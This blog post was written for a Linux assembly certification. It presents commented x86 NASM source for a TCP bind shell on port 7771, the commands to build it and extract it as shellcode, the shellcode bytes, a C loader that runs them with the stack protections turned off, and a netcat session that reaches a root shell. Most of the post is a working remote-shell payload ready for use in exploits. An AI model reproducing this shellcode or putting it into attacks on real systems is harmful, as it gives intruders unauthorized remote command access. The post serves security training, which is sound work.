This post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
###
Here it is my TCP bindshell which aimed to listen on any address on port 7771.
The code is commented for the best understanding.
Student ID: SLAE-581
Here it is my TCP bindshell which aimed to listen on any address on port 7771.
The code is commented for the best understanding.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 ; Title Linux Shell Bind TCP Shellcode ; Filename:bind_connect_execve_stack.nasm ; Author: Oleg Boytsev ; License http://creativecommons.org/licenses/by-sa/3.0/ ; Legitimate use and research only ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. global _start ;this is for linker section .text ;text section _start: ;this is for linker ;cat /usr/include/i386-linux-gnu/asm/unistd_32.h - syscall table is here ;cat /usr/include/linux/net.h - this is the master header file for the Linux NET layer ;man socket - how to create a connection ;The first step is to create an endpoint for communication and return a socket file descriptor: socket(int domain, int type, int protocol) xor eax, eax ;zeroed eax mov al, 102 ;socketcall() xor ebx, ebx ;zeroed ebx mov bl, 1 ;net.h/SYS_SOCKET code xor esi, esi ;zeroed esi push esi ;push 0 into stack (protocol) push 1 ;push 1 into stack (SOCK_STREAM), man 2 socket push 2 ;push 2 into stack (AF_INET), man 2 socket mov ecx, esp ;move a pointer to arguments array into ecx int 0×80 ;run syscall mov edx, eax ;save socket fd into edx ;The second step is BIND. Bind assignes the address to the precreated socket file descriptor. bind(int sockfd, (const struct sockaddr *addr), socklen_t addrlen); ;man 7 ip mov al, 102 ;socketcall() mov bl, 2 ;net.h/SYS_BIND code ;Making const struct sockaddr *addr (address family: AF_INET, port, Internet address) push esi ;push 0 into stack (0 means any address) push WORD 0x5b1e ;hex port in reverse (printf «%x» 7771 = 1e5b) push WORD 2 ;push 2 into stack (AF_INET) mov ecx, esp ;move a pointer to arguments array into ecx ;Bind itself. bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); push 16 ;socklen_t addrlen push ecx ;pointer to sockaddr struct push edx ;push sockfd into stack mov ecx, esp ;move a pointer to arguments array into ecx int 0×80 ;run syscall ;LISTEN/man listen: listen(int sockfd, int backlog); mov al, 102 ;socketcall() mov bl, 4 ;net.h/SYS_LISTEN push 1 ;backlog push edx ;sockfd mov ecx, esp ;move a pointer to arguments array into ecx int 0×80 ;run syscall ;ACCEPT/man accept: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); mov al, 102 ;socketcall() mov bl, 5 ;SYS_ACCEPT push esi ;0 into stack push esi ;0 into stack push edx ;sockfd mov ecx, esp ;move a pointer to arguments array into ecx int 0×80 ;run syscall ;sockfd save mov edx, eax ;save socket fd into edx ;DUP2/man dup2: int dup2(int oldfd, int newfd); Duplicate a file descriptor xor eax, eax ;zeroed eax mov al, 63 ;dup2() code mov ebx, edx ;save old fd in ebx xor ecx, ecx ;get 0, this is STDIN file descriptor int 0×80 ;run syscall xor eax, eax ;zeroed eax mov al, 63 ;mov dup2() code into al mov cl, 1 ;STDOUT int 0×80 ;run syscall mov al, 63 ;dup2() code mov cl, 2 ;STDERROR int 0×80 ;run syscall ;spawn a shell xor eax, eax ;zeroed eax push eax ;push NULL into stack push 0x68732f2f ;push reversed //sh into stack push 0x6e69622f ;push reversed /bin into stack mov ebx, esp ;copy pointer to /bin//sh string into ebx push eax ;push NULL into stack push ebx ;push pointer to /bin//sh into stack mov ecx, esp ;mov pointer to argv[] (/bin/sh, NULL) into ecx xor edx, edx ;zeroed edx (edx contain envp[]) mov al, 0xb ;mov execve() code into al int 0×80 ;run syscall
nasm -f elf32 bind_connect_execve_stack.nasm -o bind_connect_execve_stack.o
ld -m elf_i386 bind_connect_shellcode.o -o bind_connect_shellcode
And now we have to extract our shellcode from elf:
objdump -d ./bind_connect_execve_stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x02\x56\x66\x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
\x1e\x5b\ – this two bytes should be changed with a port number you want (hex’d)
Load in checker.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include<stdio.h> #include<string.h> unsigned char shellcode[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x02\x56\x66\x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x5 1\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xc d\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0 b\xcd\x80"; main() { printf("Shellcode Length: %d\n",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } |
gcc -fno-stack-protector -z execstack checker.c -o checker
and run:
./checker
Shellcode Length: 116
nc -v 192.168.91.130 7771
nc: 192.168.91.130 (192.168.91.130) 7771 [7771] open
id
uid=0(root) gid=0(root) groups=0(root)
Bingo)
Here it is a screenshot about how it works in real life:
No comments:
Post a Comment